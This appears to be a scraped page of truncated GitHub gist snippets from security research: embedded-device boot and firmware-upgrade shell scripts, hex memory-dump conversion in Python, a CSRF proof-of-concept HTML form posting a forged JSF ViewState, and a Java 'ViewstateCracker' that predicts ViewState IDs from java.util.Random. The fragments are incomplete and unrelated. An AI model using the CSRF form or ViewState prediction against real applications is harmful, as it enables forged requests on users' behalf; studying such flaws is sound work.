This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "" | |
echo "----enter to upgrade from sdcard----" | |
bUpgrade=0 | |
if [ ! -f /var/sdcard ];then | |
mkdir /var/sdcard | |
mount /dev/mmcblk0p1 /var/sdcard | |
fi | |
cp /gm/tools/flashcp /usr/bin/ | |
chmod +x /usr/bin/LEDLamp.sh |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
# The First thing that we need to do is read the version file and extract the build number and version number | |
version_info = (open("filesystemversion", "r+").read()).strip() | |
length_of_version_info = len(version_info) | |
build_number = version_info[version_info.find("b"):] | |
version_number = version_info[:length_of_version_info-len(build_number)] | |
print("Version Info: {0}".format(version_info)) | |
print("Build Number: {0}".format(build_number)) | |
print("Version Number: {0}".format(version_number)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
home=/mnt/mtd | |
export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/gm/bin:/gm/tools | |
read -t 2 -p "loading image" exit_boot | |
if [ "$exit_boot" == "e" ] ; then | |
exit | |
fi | |
mknod /dev/gk_video -m 666 c 248 0 | |
mknod /dev/gk_log -m 666 c 248 249 | |
mknod /dev/gk_fw -m 666 c 248 1 | |
mknod /dev/debug -m 666 c 248 248 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
input_handler = open("hex_numbers.txt", "r+").readlines() | |
output_handler = open("device_memory.txt", "w+") | |
for hex_codes in input_handler: | |
hex_codes = hex_codes.strip() | |
characters = [chr(int(hex_codes[x:x+2], 16)) for x in range (0, len(hex_codes), 2)] | |
converted_endian_output = "".join(["".join(characters[x:x+4])[::-1] for x in range (0, len(characters), 4)]) | |
output_handler.write(converted_endian_output) | |
output_handler.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form action="http://slack.com/fakevotingservice" method="POST"> | |
<input type="hidden" name="grey_type" value="grey" /> | |
<input type="hidden" name="javax.faces.ViewState" value="631669508271731252:4668721254263228340" /> | |
<input type="submit" value="Submit request" /> | |
</form> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class ViewstateCracker { | |
/* START PART 1 */ | |
public static final int offset = 32; | |
public static final int iterations = 65536; | |
public static final String generateNewViewstate(final long idInLogicalMap, final long idInActualMap) { | |
final long first32BitsOfIdInLogicalMap = idInLogicalMap >>> offset; | |
final long second32BitsOfIdInLogicalMap = ((idInLogicalMap << offset) >>> offset); | |
final long first32BitsOfIdInActualMap = idInActualMap >>> offset; // Verification | |
final long second32BitsOfIdInActualMap = ((idInActualMap << offset) >>> offset); // Verification |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Random rnd = new Random(); | |
rnd.setSeed(seed); | |
/* | |
public void setSeed(seed) { | |
(seed ^ 0x5DEECE66DL) & ((1L << 48) - 1) | |
} | |
*/ | |
rnd.nextLong(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. | |
* | |
* Copyright (c) 1997-2014 Oracle and/or its affiliates. All rights reserved. | |
* | |
* The contents of this file are subject to the terms of either the GNU | |
* General Public License Version 2 only ("GPL") or the Common Development | |
* and Distribution License("CDDL") (collectively, the "License"). You | |
* may not use this file except in compliance with the License. You can | |
* obtain a copy of the License at |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def main(): | |
print("test") |